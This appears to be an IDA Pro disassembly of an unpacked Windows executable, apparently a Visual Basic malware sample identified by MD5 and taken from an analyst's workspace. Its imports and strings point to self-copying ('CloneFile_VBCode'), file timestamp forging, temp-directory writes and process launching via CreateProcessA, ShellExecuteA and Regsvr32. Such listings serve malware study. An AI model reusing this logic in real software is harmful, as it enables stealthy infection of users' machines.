;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	281DA14E28107FFA7D3AFAC0D0083DE1

; File Name   :	u:\work\281da14e28107ffa7d3afac0d0083de1_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004E30 (  20016.)
; Section size in file		: 00004E30 (  20016.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_401000	dd 735215EEh, 7350B974h, 734348BFh, 73502AFCh, 73502B31h
					; DATA XREF: .text:loc_401144r
					; .text:004010C6r ...
		dd 7351A199h, 7350B403h, 7343D86Fh, 73445449h, 7343B778h
		dd 734445E8h, 7344E385h, 734F7C33h, 73528B73h, 734F677Ch
		dd 73444E5Bh, 73519CDBh, 7351A8C4h, 7350C247h, 73506301h
		dd 734FE5C4h, 73502654h, 73503BBDh, 7344826Eh, 73445799h
		dd 7350389Eh, 73445144h, 734FE967h
dword_401070	dd 7342DE3Eh	dword_401074	dd 734449F1h, 7350B371h, 734FE9BCh, 4 dup(0)					; .text:004010D2r ...

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401090	proc near		; CODE XREF: .text:00401D1Dp
					; .text:00401D79p ...
		jmp	ds:dword_401000+24h
sub_401090	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+28h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+18h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+14h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+40h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+4Ch
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+48h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401074
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+34h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+4
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+58h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401074+4
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+64h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+8
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+6Ch
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+20h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+60h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+30h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+50h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401074+8
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+0Ch
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+44h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+10h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+5Ch
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+54h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+68h
; ---------------------------------------------------------------------------
		jmp	ds:dword_401000+3Ch
; ---------------------------------------------------------------------------


loc_401132:				; DATA XREF: .text:004014A8o
					; .text:0040198Co
		jmp	ds:dword_401000+38h
; ---------------------------------------------------------------------------


loc_401138:				; DATA XREF: .text:004014ACo
					; .text:00401990o
		jmp	ds:dword_401000+1Ch
; ---------------------------------------------------------------------------


loc_40113E:				; DATA XREF: .text:004014B0o
					; .text:00401994o
		jmp	ds:dword_401000+2Ch
; ---------------------------------------------------------------------------


loc_401144:				; CODE XREF: .text:00401A27j
					; .text:00401A3Bj ...
		jmp	ds:dword_401000

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40114A	proc near		; CODE XREF: .text:00401155p
		jmp	ds:dword_401070
sub_40114A	endp

; ---------------------------------------------------------------------------

		public start
start:
		push	offset dword_401238
		call	sub_40114A
; ---------------------------------------------------------------------------
		dw 0
		align 10h
		dd 30h,	38h, 0
		dd 362B0DD8h, 44FEC67Bh, 0C539EA87h, 0C63BAE88h, 0
		dd 10000h, 410000h, 4107F0h, 75746573h,	70h, 0
dword_401198	dd 31CCFFh, 3BE66300h, 6F9DAD08h, 3F27AA4Eh, 0C2C596C5h
					; DATA XREF: .text:0040139Co
		dd 0D500DC42h, 0D9CE694Ah, 0EC56884Eh, 0CB1E3B7Eh, 0AD4F3A4Fh
		dd 0CF669933h, 0CB711h,	0D36000AAh, 93h, 8 dup(0)
		dd 4400h, 3F00h, 50000h, 53554F4Eh, 10D0045h, 6874000Bh
		dd 62757065h, 6563696Ch, 1190072h, 24004200h, 6F460005h
		dd 316D72h, 3C35h, 15900h, 117600h, 0BC700h, 0FF034600h
		dd 4
dword_401238	dd 21354256h, 2A2636h, 3 dup(0)		dd 7Eh,	2 dup(0)
		dd 0A0000h, 409h, 2 dup(0)
		dd offset dword_401530
		dd 30F000h, 0FFFFFF00h,	8, 1, 2, 0E9h, 401354h,	401238h
		dd 40115Ch, 78h, 7Dh, 83h, 84h,	4 dup(0)
aZzxx		db 'zzxx',0
aSetup		db 'Setup',0
		align 4
aSetup_0	db 'setup',0
		align 4
dword_4012C4	dd 6, 402330h, 7, 4021A4h, 7, 40215Ch, 7, 402114h, 7, 4020CCh
					; DATA XREF: .text:00401764o
		dd 7, 402084h, 7, 402028h, 7, 401FE4h, 7, 401FA0h, 7, 401F5Ch
		dd 7, 401F04h, 7, 401EBCh, 7, 401E68h, 7, 401E24h, 7, 401DE0h
		dd 7, 401D94h, 7, 401D4Ch, 7, 401CF0h, 50h, 83BE663h, 4E6F9DADh
		dd 0C53F27AAh, 42C2C596h, 5 dup(0)
		dd 10h,	5 dup(0)
		dd 9Dh,	0
		dd offset dword_401198
		dd 4Ch,	50h, 34DB33FEh,	4C41CD92h, 5FFB098h, 3A22321Ah
		dd 4 dup(0)
		dd 1, 6	dup(0)
		dd 3A2h, 0
		dd offset dword_4023AC
dword_4013F0	dd 9Ch,	10001h,	401A8Ch, 0					; .text:off_401B10o ...
		dd offset dword_402814
		dd 0FFFFFFFFh, 0
		dd offset off_401B10
		dd offset dword_406014
		align 8
		dd 1F3860h, 3 dup(0)
		dd offset off_40146C
		dd 1, 402370h, 0
		dd offset off_40146C
		dd 1, 401474h, 0
		dd offset off_401470
		dd 1, 401474h, 1B70000h, 6C0068h, 40149Ch, 406408h, 0
		dd 2EC937Ch
off_40146C	dd offset dword_402380	; DATA XREF: .text:00401428o
					; .text:00401438o
off_401470	dd offset dword_402390	; DATA XREF: .text:00401448o
dword_401474	dd 1F0040h, 34h, 401BF8h, 0FFFFFFFFh, 2	dup(0)		dd offset dword_40149C
		dd 1BF4E0h, 401C08h, 0FFFFFFFFh
dword_40149C	dd 0				dd offset dword_401474
		dd offset dword_4013F0+4
		dd offset loc_401132
		dd offset loc_401138
		dd offset loc_40113E
		dd 1Fh dup(0)
dword_401530	dd 1F4h, 401A8Ch, 0					; .data:00406284o
		dd offset dword_405CE0
		dd offset dword_405CF0
		dd 1228h, 406000h, 40112Ch, 85h	dup(0)
		dd offset dword_4012C4
dword_401768	dd 12h,	1, 401A8Ch, 0					; .text:off_401AE0o ...
		dd offset dword_402894
		dd 0FFFFFFFFh, 0
		dd offset off_401AE0
		dd offset dword_406000
		dd 17h,	4018DCh, 40003Eh, 0
		dd 1577ECh, 4017E4h, 1,	401BC8h, 0
		dd offset off_401938
		dd 1, 401940h, 0
		dd offset off_40193C
		dd 1, 401940h, 1B70006h, 6C0068h, 401968h, 406B0Ch, 0
		dd 1BF0F8h, 406400h, 401CD0h, 402070h, 401CE0h,	401096h
		dd 40224Ch, 402254h, 40109Ch, 4010A2h, 402260h,	402268h
		dd 4010A8h, 4010AEh, 4010B4h, 401ED4h, 4010BAh,	401C84h
		dd 401F1Ch, 401BE8h, 4010C0h, 4010C6h, 402270h,	402284h
		dd 4010CCh, 4021BCh, 4010D2h, 4010D8h, 402298h,	4010DEh
		dd 4022ACh, 4010E4h, 4010EAh, 4010F0h, 4022C0h,	4010F6h
		dd 401E3Ch, 401DF8h, 401E80h, 4010FCh, 401102h,	4022E0h
		dd 4022E8h, 401DACh, 401108h, 4022F8h, 402308h,	40110Eh
		dd 402310h, 401114h, 402320h, 40232Ch, 401FB8h,	401FFCh
		dd 402040h, 402348h, 40111Ah, 40212Ch, 402174h,	401120h
		dd 401D08h, 401126h, 401BB8h, 11h dup(0)
		dd offset off_405AFC
		dd offset off_40347C
		dd offset off_402AEC
		dd offset off_4029D8
		dd offset off_403EB0
		dd offset off_402E3C
off_401938	dd offset dword_401BD8	; DATA XREF: .text:004017B0o
off_40193C	dd offset dword_401BE8	; DATA XREF: .text:004017C0o
dword_401940	dd 1F0040h, 4Ch, 401BF8h, 0FFFFFFFFh, 2	dup(0)		dd offset dword_401980
		dd 1BF4E0h, 401C08h, 0FFFFFFFFh, 401A2Fh, 401A43h, 401A57h
		dd 401A6Bh, 401A1Bh, 401A7Fh
dword_401980	dd 0				dd offset dword_401940
		dd offset dword_401768+4
		dd offset loc_401132
		dd offset loc_401138
		dd offset loc_40113E
		dd 6 dup(0)
		dd offset loc_401A14
		dd 18h dup(0)
; ---------------------------------------------------------------------------


loc_401A14:				; DATA XREF: .text:004019B0o
		mov	eax, 4Ch
		cmp	ax, 0C033h
		mov	edx, offset off_405AFC
		push	offset loc_401144
		retn
; ---------------------------------------------------------------------------
		mov	eax, 0
		cmp	ax, 0C033h
		mov	edx, offset off_40347C
		push	offset loc_401144
		retn
; ---------------------------------------------------------------------------
		mov	eax, 0
		cmp	ax, 0C033h
		mov	edx, offset off_402AEC
		push	offset loc_401144
		retn
; ---------------------------------------------------------------------------
		mov	eax, 0
		cmp	ax, 0C033h
		mov	edx, offset off_4029D8
		push	offset loc_401144
		retn
; ---------------------------------------------------------------------------
		mov	eax, 0
		cmp	ax, 0C033h
		mov	edx, offset off_403EB0
		push	offset loc_401144
		retn
; ---------------------------------------------------------------------------
		mov	eax, 0
		cmp	ax, 0C033h
		mov	edx, offset off_402E3C
		push	offset loc_401144
		retn
; ---------------------------------------------------------------------------
unk_401A8C	db    0			; DATA XREF: .text:004028D8o
					; .data:00406044o
		db    0
		db    0
		db    0
		dd offset aSCs		; "˜°Cs"
		dd offset dword_4028D4
		dd 0FFFFFFFFh, 0
		dd offset dword_406028
		dd 0EFC09223h, 4E595FC5h, 8AD1BADh, 0D05912F8h,	2000Ah
		dd 20004h, 401AE0h, 3 dup(0)
		dd offset aSetup_1	; "setup"
		dd 409h, 804h, 0
		dd 2
off_401AE0	dd offset dword_401768+4 ; DATA	XREF: .text:00401784o
		dd 0FFFFFFFFh, 40221Ch,	3 dup(0)
		dd offset aNouse	; "NOUSE"
		dd 17h,	401B40h, 0FFFFh, 18083h, 0
off_401B10	dd offset dword_4013F0+4 ; DATA	XREF: .text:0040140Co
		dd 0FFFFFFFFh, 4023A0h,	3 dup(0)
		dd offset aForm1	; "Form1"
		align 10h
		dd 220AF0h, 0FFFFh, 18083h, 0
		dd 1C2158h, 0FFFFFFFFh,	0FFFF0118h, 181338h, 2ECD538h
		dd 0A78h, 1B0003h, 991h, 0
		dd 700h, 0FFFF0008h, 2 dup(0)
		dd 0FFFFFFFFh, 30001h, 113h, 1C2158h, 0FFFFFFFFh, 4021D8h
		dd 4021F0h, 402204h, 402210h, 1B0003h, 0
aSetup_1	db 'setup',0            ; DATA XREF: .text:00401ACCo
		align 4
aNouse		db 'NOUSE',0            ; DATA XREF: .text:00401AF8o
		align 10h
aForm1		db 'Form1',0            ; DATA XREF: .text:00401B28o
		align 4
		db 'Ü',0
		dw 4AD5h
		dd 4ED9CE69h, 7EEC5688h, 4FCB1E3Bh, 1002D899h, 46872FCEh
		dd 7CF143A8h, 6ABF211Dh
dword_401BD8	dd 83BE663h, 4E6F9DADh,	0C53F27AAh, 42C2C596hdword_401BE8	dd 0A2B8DBE2h, 41BA2981h, 6F8712A9h, 11DAADBEh,	33AD4F3Ah
					; DATA XREF: .text:off_40193Co
		dd 11CF6699h, 0AA000CB7h, 93D36000h, 6D726F46h,	0
dword_401C10	dd 0FCFB3D2Eh, 1068A0FAh, 838A7h, 0B571332Bh, 505C3A43h
		dd 72676F72h, 46206D61h, 73656C69h, 63694D5Ch, 6F736F72h
		dd 56207466h, 61757369h, 7453206Ch, 6F696475h, 3942565Ch
		dd 42565C38h, 4C4F2E36h, 42h, 4256h, 401C10h, 0
		dd 6, 9, 401C20h, 401C58h, 406330h, 2 dup(0)
dword_401C80	dd 1BE098h, 440018h, 30000h, 2C040044h,	10004h,	10008h
					; DATA XREF: .text:off_40276Co
		dd 1000Ch, 10000Ch, 0
dword_401CA4	dd 4040010h, 8000Ch, 0dword_401CB0	dd 4040008h, 7,	72657375h, 3233h, 9, 69577349h,	776F646Eh
					; DATA XREF: .text:off_40215Co
		dd 0
		dd 2, 402234h, 402070h,	0
		dd 33AD4F79h, 11CF6699h, 0AA000CB7h, 93D36000h,	401CB8h
		dd 401CC4h, 40000h, 406334h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_40633C
		or	eax, eax
		jz	short loc_401D13
		jmp	eax
; ---------------------------------------------------------------------------


loc_401D13:				; CODE XREF: .text:00401D0Fj
		push	401CF0h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
dword_401D24	dd 9, 6E72656Bh, 32336C65h, 0					; .text:off_401EBCo ...
		dd 13h,	4D746547h, 6C75646Fh, 6C694665h, 6D614E65h, 4165h
		dd 401D28h, 401D38h, 40000h, 406340h, 2	dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_406348
		or	eax, eax
		jz	short loc_401D6F
		jmp	eax
; ---------------------------------------------------------------------------


loc_401D6F:				; CODE XREF: .text:00401D6Bj
		push	401D4Ch
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
dword_401D80	dd 0Dh,	54746547h, 50706D65h, 41687461h, 0off_401D94	dd offset dword_401D24+4 ; DATA	XREF: .text:loc_401DB7o
		dd offset dword_401D80+4
		dd 40000h, 40634Ch, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_406354
		or	eax, eax
		jz	short loc_401DB7
		jmp	eax
; ---------------------------------------------------------------------------


loc_401DB7:				; CODE XREF: .text:00401DB3j
		push	offset off_401D94
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 14h,	74696157h, 53726F46h, 6C676E69h, 6A624F65h, 746365h
		dd 401D28h, 401DCCh, 40000h, 406358h, 2	dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_406360
		or	eax, eax
		jz	short loc_401E03
		jmp	eax
; ---------------------------------------------------------------------------


loc_401E03:				; CODE XREF: .text:00401DFFj
		push	401DE0h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch,	6E65704Fh, 636F7250h, 737365h, 401D28h,	401E18h
		dd 40000h, 406364h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_40636C
		or	eax, eax
		jz	short loc_401E47
		jmp	eax
; ---------------------------------------------------------------------------


loc_401E47:				; CODE XREF: .text:00401E43j
		push	401E24h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch,	736F6C43h, 6E614865h, 656C64h, 401D28h,	401E5Ch
		dd 40000h, 406370h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_406378
		or	eax, eax
		jz	short loc_401E8B
		jmp	eax
; ---------------------------------------------------------------------------


loc_401E8B:				; CODE XREF: .text:00401E87j
		push	401E68h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
dword_401E9C	dd 18h,	45746547h, 7269766Eh, 656D6E6Fh, 6156746Eh, 62616972h
					; DATA XREF: .text:00401EC0o
		dd 41656Ch, 0
off_401EBC	dd offset dword_401D24+4 ; DATA	XREF: .text:loc_401EDFo
		dd offset dword_401E9C+4
		dd 40000h, 40637Ch, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_406384
		or	eax, eax
		jz	short loc_401EDF
		jmp	eax
; ---------------------------------------------------------------------------


loc_401EDF:				; CODE XREF: .text:00401EDBj
		push	offset off_401EBC
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 0Fh,	61657243h, 72506574h, 7365636Fh, 4173h,	401D28h
		dd 401EF4h, 40000h, 406388h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_406390
		or	eax, eax
		jz	short loc_401F27
		jmp	eax
; ---------------------------------------------------------------------------


loc_401F27:				; CODE XREF: .text:00401F23j
		push	401F04h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch,	6C656873h, 2E32336Ch, 6C6C64h, 0Eh, 6C656853h
		dd 6578456Ch, 65747563h, 41h, 401F3Ch, 401F4Ch,	40000h
		dd 406394h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_40639C
		or	eax, eax
		jz	short loc_401F7F
		jmp	eax
; ---------------------------------------------------------------------------


loc_401F7F:				; CODE XREF: .text:00401F7Bj
		push	401F5Ch
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 0Ch,	61657243h, 69466574h, 41656Ch, 401D28h,	401F94h
		dd 40000h, 4063A0h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_4063A8
		or	eax, eax
		jz	short loc_401FC3
		jmp	eax
; ---------------------------------------------------------------------------


loc_401FC3:				; CODE XREF: .text:00401FBFj
		push	401FA0h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch,	46746547h, 54656C69h, 656D69h, 401D28h,	401FD8h
		dd 40000h, 4063ACh, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_4063B4
		or	eax, eax
		jz	short loc_402007
		jmp	eax
; ---------------------------------------------------------------------------


loc_402007:				; CODE XREF: .text:00402003j
		push	401FE4h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch,	46746553h, 54656C69h, 656D69h, 401D28h,	40201Ch
		dd 40000h, 4063B8h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_4063C0
		or	eax, eax
		jz	short loc_40204B
		jmp	eax
; ---------------------------------------------------------------------------


loc_40204B:				; CODE XREF: .text:00402047j
		push	402028h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
dword_40205C	dd 0Dh,	61657243h, 754D6574h, 41786574h, 0		dd 0FCFB3D22h, 1068A0FAh, 838A7h, 0B571332Bh, 0
off_402084	dd offset dword_401D24+4 ; DATA	XREF: .text:loc_4020A7o
		dd offset dword_40205C+4
		dd 40000h, 4063C4h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_4063CC
		or	eax, eax
		jz	short loc_4020A7
		jmp	eax
; ---------------------------------------------------------------------------


loc_4020A7:				; CODE XREF: .text:004020A3j
		push	offset off_402084
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
dword_4020B8	dd 0Dh,	656C6552h, 4D657361h, 78657475h, 0off_4020CC	dd offset dword_401D24+4 ; DATA	XREF: .text:loc_4020EFo
		dd offset dword_4020B8+4
		dd 40000h, 4063D0h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_4063D8
		or	eax, eax
		jz	short loc_4020EF
		jmp	eax
; ---------------------------------------------------------------------------


loc_4020EF:				; CODE XREF: .text:004020EBj
		push	offset off_4020CC
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 0Eh,	646E6946h, 646E6957h, 7845776Fh, 41h, 401CB8h
		dd 402104h, 40000h, 4063DCh, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_4063E4
		or	eax, eax
		jz	short loc_402137
		jmp	eax
; ---------------------------------------------------------------------------


loc_402137:				; CODE XREF: .text:00402133j
		push	402114h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
dword_402148	dd 0Dh,	646E6553h, 7373654Dh, 41656761h, 0off_40215C	dd offset dword_401CB0+8 ; DATA	XREF: .text:loc_40217Fo
		dd offset dword_402148+4
		dd 40000h, 4063E8h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_4063F0
		or	eax, eax
		jz	short loc_40217F
		jmp	eax
; ---------------------------------------------------------------------------


loc_40217F:				; CODE XREF: .text:0040217Bj
		push	offset off_40215C
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 0Eh,	4D6C7452h, 4D65766Fh, 726F6D65h, 79h, 401D28h
		dd 402194h, 40000h, 4063F4h, 2 dup(0)
; ---------------------------------------------------------------------------
		mov	eax, dword_4063FC
		or	eax, eax
		jz	short loc_4021C7
		jmp	eax
; ---------------------------------------------------------------------------


loc_4021C7:				; CODE XREF: .text:004021C3j
		push	4021A4h
		mov	eax, offset sub_401090
		call	eax ; sub_401090
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
aSetfiletimefro	db 'SetFileTimeFromSystem',0
		align 10h
aClonefile_vbco	db 'CloneFile_VBCode',0
		align 4
aExistfile	db 'ExistFile',0
		align 10h
aTryclose	db 'TryClose',0
		align 4
		dd 580018h, 30000h, 0
		dd 10034h, 10038h, 2003Ch, 0FCFB3D23h, 1068A0FAh, 838A7h
		dd 0B571332Bh, 0
		dd 2, 20h, 4, 200022h, 3 dup(0)
		dd 2, 25h, 0Ch,	690077h, 72006Eh, 730065h, 0
		dd 0Ch,	550043h, 540053h, 4D004Fh, 0
		dd 0Ch,	6F0066h, 74006Eh, 5C0073h, 0
		dd 0Eh,	75002Fh, 640070h, 740061h, 65h,	18h, 650052h, 730067h
		dd 720076h, 320033h, 2F0020h, 200073h, 0
		dd 2, 5Ch, 8, 65002Eh, 650078h,	0
		dd 8, 74005Ch, 70006Dh,	0
		dd 2, 2Eh, 8, 62002Eh, 740061h,	0
		dd 4, 0A000Dh, 0
		dd 4, 880001h, 402234h,	406400h, 36414256h, 4C4C442Eh
		dd 0
		dd 16h,	4, 1, 0
		dd 1730000h, 0FFFFFFFFh, 1, 86AC37Ah, 4137FE66h, 0C8D72096h
		dd 47BDB66h, 0F29F7AD2h, 4AEF2C99h, 0D11291BEh,	89CDBD72h
dword_402380	dd 34DB33FEh, 4C41CD92h, 5FFB098h, 3A22321Ahdword_402390	dd 0F44D1942h, 4A97D09Ch, 94C755ADh, 9B10DD5Fh,	40000Ch
					; DATA XREF: .text:off_401470o
		dd 2 dup(0)
dword_4023AC	dd 31CCFFh, 0DB33FE00h,	41CD9234h, 0FFB0984Ch, 22321A05h
					; DATA XREF: .text:004013ECo
		dd 6AC37A3Ah, 37FE6608h, 0D7209641h, 7BDB66C8h,	0AD4F3A04h
		dd 0CF669933h, 0CB711h,	0D36000AAh, 93h, 8 dup(0)
		dd 34900h, 34400h, 50000h, 6D726F46h, 10D0031h,	6F460005h
		dd 316D72h, 42000119h, 3062300h, 746C0000h, 2FE0000h, 0
		dd 10001h, 102020h, 0
		dd 2E8h, 16h, 28h, 20h,	40h, 40001h, 0
		dd 280h, 5 dup(0)
		dd 0BF0000h, 0BF00h, 0BFBF00h, 0BFh, 0BF00BFh, 0BFBFh
		dd 0C0C0C0h, 808080h, 0FF0000h,	0FF00h,	0FFFF00h, 0FFh
		dd 0FF00FFh, 0FFFFh, 0FFFFFFh, 8 dup(0)
		dd 3 dup(88888888h), 80888888h,	77777787h, 2 dup(77777777h)
		dd 80777777h, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h
		dd 2 dup(0FFFFFFFFh), 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh)
		dd 80F7FFFFh, 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh
		dd 0FFFF8F87h, 2 dup(0FFFFFFFFh), 80F7FFFFh, 88888887h
		dd 2 dup(88888888h), 80878888h,	77777787h, 2 dup(77777777h)
		dd 80777777h, 44444487h, 44444444h, 404444h, 80000000h
		dd 44444487h, 44444444h, 70474444h, 80700777h, 44444487h
		dd 44444444h, 70474444h, 80700777h, 44444487h, 2 dup(44444444h)
		dd 80444444h, 77777787h, 2 dup(77777777h), 80777777h, 3	dup(88888888h)
		dd 80888888h, 8	dup(0)
		dd 0FFFFFFFFh, 1Dh dup(0)
dword_402728	dd 2 dup(0FFFFFFFFh), 46000524h, 316D726Fh, 3C3500h, 1590000h
		dd 12480000h, 0C7B0000h, 3460000h, 4FFh, 0
off_402754	dd offset dword_402894	; DATA XREF: .text:004028E4o
		dd offset dword_402814
		dd offset aFile		; "File"
		dd 0
		dd offset aFile		; "File"
		dd 0
off_40276C	dd offset dword_401C80+4 ; DATA	XREF: .text:004028BCo
		dd offset dword_401C80+1Ch
		dd offset dword_401CA4+4
		dd offset aSfile	; "sfile"
		dd offset aDfile	; "dfile"
		dd 0
dword_402784	dd 6FD010Ch, 0FFFFh, 0		dd 60030002h, 402778h, 3 dup(0)
dword_4027A4	dd 2F10101Eh, 7010108h,	0FFFFh,	0		dd 60030003h, 402764h, 3 dup(0)
dword_4027C8	dd 23101Eh, 6F90108h, 0FFFFh, 0		dd 60030001h, 40275Ch, 3 dup(0)
dword_4027EC	dd 2F101Eh, 7050104h, 0FFFFh, 0		dd 60030004h, 402750h, 3 dup(0)
		dd 2F1Eh
dword_402814	dd 0							; .text:00402758o
		dd offset dword_4013F0+4
		dd 0FFFFFFFFh, 3 dup(0)
		dd offset dword_402728+28h
		dd 0
		dd offset dword_402728+28h
		dd offset dword_402728+28h
		dd offset dword_402728+28h
		dd 3 dup(0)
dword_40284C	dd 40h,	4, 10h dup(0)dword_402894	dd 0							; .text:off_402754o
		dd offset dword_401768+4
		dd 0FFFFFFFFh, 0
		dd 10h,	3, 402920h, 0
		dd offset dword_40284C+8
		dd offset dword_402728+28h
		dd offset off_40276C
		dd 3 dup(0)
		dd 58h,	4
dword_4028D4	dd 0				dd offset unk_401A8C
		dd 0FFFFFFFFh, 0
		dd offset off_402754
		dd 3 dup(0)
		dd 0FFFFFFFFh, 0
		dd offset dword_401C10+4Ch
		dd offset dword_401BE8+10h
		dd offset dword_406404
aFile		db 'File',0             ; DATA XREF: .text:0040275Co
					; .text:00402764o
		align 10h
aSfile		db 'sfile',0            ; DATA XREF: .text:00402778o
		align 4
aDfile		db 'dfile',0            ; DATA XREF: .text:0040277Co
		align 10h
		dd 12h dup(0)
		dd offset dword_4027C8+4
		dd offset dword_402784
		dd offset dword_4027A4+4
		dd offset dword_4027EC+4
		dd 0
		dd 43000C6Ch, 6F5FF74h,	4000000h, 644DFF74h, 0B4008FFh
		dd 80037h, 0FCFEFC31h, 63FF1066h, 0FC3EFF30h, 0FF6023FEh
		dd 0F54Ah, 0FDDB0000h, 4FF50F8h, 1A0AFF00h, 4001000h, 56FCFF00h
		dd 32FF7A70h, 0FF600004h, 836FEFCh, 30FF5000h, 0FF10FFh
		dd 102FFFFFh, 200h
off_4029D8	dd offset dword_401768+4 ; DATA	XREF: .text:0040192Co
					; .text:00401A59o
		dd 80000Ch, 28005Ch, 0
		dd 130000h, 0
		dd 10h,	10000h,	0
		dd 1FF74h, 20h,	50000h,	0
